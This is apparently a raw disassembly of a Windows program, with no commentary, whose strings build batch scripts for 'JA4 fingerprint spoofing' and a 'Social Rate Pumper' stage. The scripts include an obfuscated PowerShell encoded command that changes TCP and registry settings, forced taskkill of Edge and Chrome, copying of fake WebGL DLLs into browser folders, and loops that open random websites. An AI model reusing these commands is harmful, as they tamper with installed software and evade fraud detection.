BpAHMAcABsAGEAeQBOAGEAbQBlACAAJABwAHIAbwBwAGUAcgB0AHkATgBhAG0AZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABwAHIAbwBwAGUAcgB0AHkAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAGUAdAAtAE4AZQB0AEEAZABhAHAAdABlAHIAQQBkAHYAYQBuAGMAZQBkAFAAcgBvAHAAZQByAHQAeQAgAC0ATgBhAG0AZQAgACQAYQBkAGEAcAB0AGUAcgBOAGEAbQBlACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAkAHAAcgBvAHAAZQByAHQAeQBOAGEAbQBlACAALQBEAGkAcwBwAGwAYQB5AFYAYQBsAHUAZQAgACQAcAByAG8AcABlAHIAdAB5AFYAYQBsAHUAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEYAYQBpAGwAZQBkACAAdABvACAAcwBlAHQAIAAkAHAAcgBvAHAAZQByAHQAeQBOAGEAbQBlACAAdABvACAAJABwAHIAbwBwAGUAcgB0AHkAVgBhAGwAdQBlACAAZgBvAHIAIAAkAGEAZABhAHAAdABlAHIATgBhAG0AZQAuACAAJABfACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBQAHIAbwBwAGUAcgB0AHkAIAAkAHAAcgBvAHAAZQByAHQAeQBOAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIABmAG8AcgAgACQAYQBkAGEAcAB0AGUAcgBOAGEAbQBlAC4AIgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEEAZABhAHAAdABlAHIAIAAkAGEAZABhAHAAdABlAHIATgBhAG0AZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4AIgANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAJABuAGUAdAB3AG8AcgBrAEEAZABhAHAAdABlAHIAcwAgAD0AIABHAGUAdAAtAE4AZQB0AEEAZABhAHAAdABlAHIADQAKAA0ACgBmAG8AcgBlAGEAYwBoACAAKAAkAGEAZABhAHAAdABlAHIAIABpAG4AIAAkAG4AZQB0AHcAbwByAGsAQQBkAGEAcAB0AGUAcgBzACkAIAB7AA0ACgAgACAAIAAgACQAYQBkAGEAcAB0AGUAcgBOAGEAbQBlACAAPQAgACQAYQBkAGEAcAB0AGUAcgAuAE4AYQBtAGUADQAKAA0ACgAgACAAIAAgAGkAZgAgACgAJABhAGQAYQBwAHQAZQByAE4AYQBtAGUAK
lea rcx, [rbp + 0x488]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x488]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rdx, [rbp - 8]
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0xe0
mov rdx, rdi
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x1e0
mov r8d, 0xffffffff
lea rdx, [0x1401b9c90]
lea rcx, [rbp + 0x490]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x490]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov dword [rsp + 0x40], r12d
lea rcx, [rbp - 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x498]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov edx, 0x29
lea rcx, str.TCP_Fingerprint_JA4Svs_Spoofing._Stage_2
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x190], rax
mov edx, 3
lea rcx, [0x1401b3168]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x198], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x1a0], rax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x198]
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x4b0]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Spoofing_Network_JA4Svs_Fingerprints..._
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x200
mov rdx, rbx
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x600
mov r8d, 0xffffffff
lea rdx, str._r_npowershell__encodedCommand_JABhAHUAdABvAFQAdQBuAGkAbgBnAEwAZQB2AGUAbABzACAAPQAgAEAAKAAiAGQAaQBzAGEAYgBsAGUAZAAiACwAIAAiAGgAaQBnAGgAbAB5AHIAZQBzAHQAcgBpAGMAdABlAGQAIgAsACAAIgByAGUAcwB0AHIAaQBjAHQAZQBkACIALAAgACIAbgBvAHIAbQBhAGwAIgAsACAAIgBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbAAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUgBhAG4AZABvAG0AQgBvAG8AbABlAGEAbgAgAHsADQAKACAAIAAgACAAaQBmACAAKAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AaQBuAGkAbQB1AG0AIAAwACAALQBNAGEAeABpAG0AdQBtACAAMgApACAALQBlAHEAIAAxACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAiAGUAbgBhAGIAbABlAGQAIgANAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACIAZABpAHMAYQBiAGwAZQBkACIADQAKACAAIAAgACAAfQANAAoAfQANAAoADQAKACQAYQB1AHQAbwB0AHUAbgBpAG4AZwBsAGUAdgBlAGwAIAA9ACAAJABhAHUAdABvAFQAdQBuAGkAbgBnAEwAZQB2AGUAbABzACAAfAAgAEcAZQB0AC0AUgBhAG4AZABvAG0ADQAKACQAZQBjAG4AYwBhAHAAYQBiAGkAbABpAHQAeQAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtAEIAbwBvAGwAZQBhAG4ADQAKACQAcgBzAHMAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQBCAG8AbwBsAGUAYQBuAA0ACgAkAHQAaQBtAGUAcwB0AGEAbQBwAHMAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQBCAG8AbwBsAGUAYQBuAA0ACgAkAGkAbgBpAHQAaQBhAGwAUgB0AG8AIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgADMAMAAwACAALQBNAGEAeABpAG0AdQBtACAAMwAwADAAMAANAAoAJABtAGEAeABTAHkAbgBSAGUAdAByAGEAbgBzAG0AaQBzAHMAaQBvAG4AcwAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMgAgAC0ATQBhAHgAaQBtAHUAbQAgADgADQAKACQAbgBvAG4AUwBhAGMAawBSAHQAdABSAGUAcwBpAGwAaQBlAG4AYwB5ACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AQgBvAG8AbABlAGEAbgANAAoAJABtAHMAcwAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAANQAzADYAIAAtAE0AYQB4AGkAbQB1AG0AIAAxADQANgAwAA0ACgAkAHQAYwBwAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgADgAMQA5ADIAIAAtAE0AYQB4AGkAbQB1AG0AIAA2ADUANQAzADUADQAKACQAdABjAHAATQBhAHgARABhAHQAYQBSAGUAdAByAGEAbgBzAG0AaQBzAHMAaQBvAG4AcwAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMwAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAANAAoAJABrAGUAZQBwAEEAbABpAHYAZQBUAGkAbQBlACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AaQBuAGkAbQB1AG0AIAAzADAAMAAwADAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADcAMgAwADAAMAAwAA0ACgANAAoAJABuAGUAdABzAGgAQwBvAG0AbQBhAG4AZAAgAD0AIAAiAG4AZQB0AHMAaAAgAGkAbgB0AGUAcgBmAGEAYwBlACAAdABjAHAAIABzAGUAdAAgAGcAbABvAGIAYQBsACAAYQB1AHQAbwB0AHUAbgBpAG4AZwBsAGUAdgBlAGwAPQAkAGEAdQB0AG8AdAB1AG4AaQBuAGcAbABlAHYAZQBsACAAZQBjAG4AYwBhAHAAYQBiAGkAbABpAHQAeQA9ACQAZQBjAG4AYwBhAHAAYQBiAGkAbABpAHQAeQAgAHIAcwBzAD0AJAByAHMAcwAgAHQAaQBtAGUAcwB0AGEAbQBwAHMAPQAkAHQAaQBtAGUAcwB0AGEAbQBwAHMAIABpAG4AaQB0AGkAYQBsAHIAdABvAD0AJABpAG4AaQB0AGkAYQBsAFIAdABvACAAbQBhAHgAcwB5AG4AcgBlAHQAcgBhAG4AcwBtAGkAcwBzAGkAbwBuAHMAPQAkAG0AYQB4AFMAeQBuAFIAZQB0AHIAYQBuAHMAbQBpAHMAcwBpAG8AbgBzACAAbgBvAG4AcwBhAGMAawByAHQAdAByAGUAcwBpAGwAaQBlAG4AYwB5AD0AJABuAG8AbgBTAGEAYwBrAFIAdAB0AFIAZQBzAGkAbABpAGUAbgBjAHkAIgANAAoASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABuAGUAdABzAGgAQwBvAG0AbQBhAG4AZAANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAFMAZQB0AC0AUgBlAGcAaQBzAHQAcgB5AFYAYQBsAHUAZQAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAGsAZQB5AFAAYQB0AGgALAANAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAHYAYQBsAHUAZQBOAGEAbQBlACwADQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJAB2AGEAbAB1AGUAVAB5AHAAZQAsAA0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAdgBhAGwAdQBlAEQAYQB0AGEADQAKACAAIAAgACAAKQANAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABrAGUAeQBQAGEAdABoACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAawBlAHkAUABhAHQAaAAgAC0ATgBhAG0AZQAgACQAdgBhAGwAdQBlAE4AYQBtAGUAIAAtAFYAYQBsAHUAZQAgACQAdgBhAGwAdQBlAEQAYQB0AGEAIAAtAFQAeQBwAGUAIAAkAHYAYQBsAHUAZQBUAHkAcABlAA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBSAGUAZwBpAHMAdAByAHkAIABrAGUAeQAgACQAawBlAHkAUABhAHQAaAAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAuACIADQAKACAAIAAgACAAfQANAAoAfQANAAoADQAKAFMAZQB0AC0AUgBlAGcAaQBzAHQAcgB5AFYAYQBsAHUAZQAgAC0AawBlAHkAUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXABUAGMAc
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x18]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x20]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x198]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x190]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
cmp byte [rsi + 9], 0
je 0x1401200f3
lea rdx, str.taskkill__f__im_msedge.exe___nul_2_1__taskkill__f__im_chrome.exe___nul_2_1__timeout_1___nul__taskkill__f__im_msedge.exe___nul_2_1__taskkill__f__im_chrome.exe___nul_2_1_
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
lea rdx, str.powershell__if___env:MESA_RENDERER__exit__gldlls___MY_VBOX_ADDITIONS_etcFakeWebGL____env:MESA_RENDERER__replace_NVIDIA_GeForce___.____ins__Get_ItemProperty_HKLM:SoftwareMicrosoftWindowsCurrentVersionUninstall___Select_Object_DisplayName__DisplayVersion__InstallLocation__InstallDate__ins__Get_ItemProperty_HKLM:SoftwareWow6432NodeMicrosoftWindowsCurrentVersionUninstall__Select_Object_DisplayName__DisplayVersion__InstallLocation__InstallDate__ins______.DisplayName__like_microsoft_edge__or___.DisplayName__like_google_chrome___Foreach_Object___programdir____.InstallLocation______.DisplayVersion__Write_Host_Installing_FakeWebGL_for__.DisplayName__if___val__Get_Item__Path___programdir___ErrorAction_Ignore___copy___gldlls__.dll___Destination__programdir__Force____
lea rcx, [rsp + 0x38]
call qword [reloc.Qt5Core.dll___YQString__QEAAAEAV0_PEBD_Z]
mov edx, 0x1c
lea rcx, str.Stage_1___Popular_websites_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x178], rax
mov edx, 0x12
lea rcx, str.Social_Rate_Pumper
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x180], rax
mov edx, 8
lea rcx, str.logo.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x188], rax
lea rax, [rbp + 0x178]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x180]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x4b8]
mov rcx, rsi
call fcn.140122130
nop
lea r8, [0x1401c7c50]
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.140018600
nop
lea rcx, [rbp + 0x4b8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x188]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x180]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x178]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea r12, [0x140000000]
nop dword [rax]
mov edx, 0x106
lea rcx, str.timeout_3___nul__explorer___1___timeout_5___nul__explorer___2___timeout_5___nul__explorer___3___timeout_5___nul__explorer___4___timeout_5___nul__explorer___5___timeout_5___nul__taskkill__im_msedge.exe___nul_2_1__taskkill__im_chrome.exe___nul_2_1_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x148], rax
mov dl, 0x20
lea rcx, [rbp + 0xbc]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x191
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov eax, eax
mov rcx, qword [r12 + rax*8 + 0x258a90]
test rcx, rcx
je 0x14012021b
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140120210
jmp 0x140120220
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x150], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x148]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0xba]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x191
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x258a90]
test rcx, rcx
je 0x14012029b
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140120290
jmp 0x1401202a0
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x158], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x4d8]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0xb8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x191
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x258a90]
test rcx, rcx
je 0x140120311
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140120306
jmp 0x140120316
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x160], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x4d0]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0xa8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x191
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x258a90]
test rcx, rcx
je 0x14012038b
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140120380
jmp 0x140120390
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x168], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x4c8]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0x10]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x191
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x258a90]
test rcx, rcx
je 0x1401203fe
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1401203f3
jmp 0x140120403
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x170], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x4c0]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rbp + 0x308]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x170]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x168]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x160]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4d8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x158]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x150]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x148]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
sub r13, 1
jne 0x1401201c0
lea edx, [r13 + 0x12]
lea rcx, str.Stage_1_Finished_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x290], rax
lea edx, [r13 + 0x12]
lea rcx, str.Social_Rate_Pumper
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x288], rax
lea edx, [r13 + 8]
lea rcx, str.logo.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x280], rax
lea rax, [rbp + 0x290]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x288]
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x4f0]
mov rcx, rsi
call fcn.140122130
nop
mov rdx, rax
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x1000
lea r8d, [r13 - 1]
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x4e8]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x4e8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x308]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
